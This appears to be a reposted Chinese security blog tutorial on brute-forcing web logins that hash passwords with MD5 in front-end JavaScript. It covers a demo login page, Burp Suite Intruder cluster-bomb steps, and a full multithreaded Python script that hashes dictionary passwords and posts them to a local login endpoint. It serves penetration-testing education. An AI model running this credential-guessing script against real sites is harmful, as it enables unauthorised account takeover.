Web暴力破解--前端JS表單加密進行爆破


 0x01 前言

  常見的js實現加密的方式有:md5、base64、shal,寫了一個簡單的demo作為測試。

0x02 代碼

login.html

<!DOCTYPE HTML>  
<html>  
<head>  
<meta charset="utf-8">  
<title>用戶登錄</title>  
<script type="text/ecmascript" src="md5.js"></script>
<script>
function checkInput() {
    var password_input = document.getElementById('password');
    var password_md5 = document.getElementById('password_md5');
    // set password
    password_md5.value =hex_md5(password_input.value);
    return true;
}
</script>
</head> 
<body>  
<form action="login.php" method="post" onsubmit="return checkInput()">
    用戶:<input type="text" id="username" name="username"> <br/>
    密碼:<input type="password" id="password"> <br/>
    <input type="hidden" id="password_md5" name="password">
    <input type="submit" value="提交" />
</form>
</body>  
</html>  

提交表單,進行抓包,可以發現密碼字段密碼進行了加密處理:

 

 0x03 Web暴力猜解

方式一:Burp Suite

  使用Intruder進行暴力猜解,Intruder支持多種爆破模式、加密和編碼支持。常見的md5、base64、shal加密方式,都可以用burpsuite直接處理。

  四種爆破方式:單一字典爆破、多字段相同字典爆破、多字典位置對應爆破、聚合式爆破。

  最常用的應該是在爆破用戶名和密碼的時候,使用聚合方式枚舉了。

1、抓包發送到Intruder,標記相關參數,選擇 第四種模式“Cluster bomb”

2、分別選擇用戶名字典和密碼字典,在設置密碼字典的時候,選擇md5加密方式對密碼字段進行加密處理

3、開始進行爆破,根據返回字段長度判斷是否成功,成功獲取用戶名和密碼字段的MD5值   admin:21232f297a57a5a743894a0e4a801fc3

4、md5解密成功,獲得用戶名密碼 admin/admin

 方式二:Python腳本

  這邊采用Python ExecJs來執行Js語句模擬前端對賬號密碼進行加密

准備:

pip install PyExecJS

phantomjs下載:https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.1.1-windows.zip

編寫Python腳本進行爆破:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_

import requests
import threadpool
from selenium import webdriver
import execjs

def getpass(str):
    with open ('md5.js','r') as js:
        source = js.read()
        phantom = execjs.get('PhantomJS')
        getpass = phantom.compile(source)
        password = getpass.call('hex_md5',str)
        return password

def login(user,passwd):
    url="http://127.0.0.1/login.php"
    payload ={'username':user,'password':getpass(passwd)}
    headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'}
    try:        
        response = requests.post(url,data=payload,headers=headers,timeout=5)
        result=response.content
        if result.count('fail')<1: 
            print '[success] ' +url+":"+user+':'+passwd

    except:
        pass
        
def getLines(fileName):
    list=[]
    with open(fileName, 'r') as fd:
        for line in fd.readlines():
            line = line.strip()
            if not len(line) or line.startswith('#'):
                continue
            list.append(line)
    return list

if __name__ == '__main__':    
    username_list=getLines('user.dict')
    password_list=getLines('pass.dict')

    userlist = [([user,passwd],None) for user in username_list for passwd in password_list]    
    
    pool = threadpool.ThreadPool(20)  
    reqs = threadpool.makeRequests(login,userlist)  
    [pool.putRequest(req) for req in reqs]  
    pool.wait()

 成功爆破用戶賬號密碼

0x04 END

   從前台到后台是一個質的突破,本文主要對很多web 在登陸的過程中會用 js 對密碼進行加密傳輸,梳理了一下web暴力猜解的技巧。

最后

歡迎關注個人微信公眾號:Bypass--,每周原創一篇技術干貨。 

 

參考鏈接:

JS實現密碼加密

http://www.cnblogs.com/mofish/archive/2012/02/25/2367858.html

js實現表單提交submit(),onsubmit

https://www.cnblogs.com/web-wjg/p/7894657.html

對登錄中賬號密碼進行加密之后再傳輸的爆破的思路和方式

http://www.freebuf.com/articles/web/127888.html

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM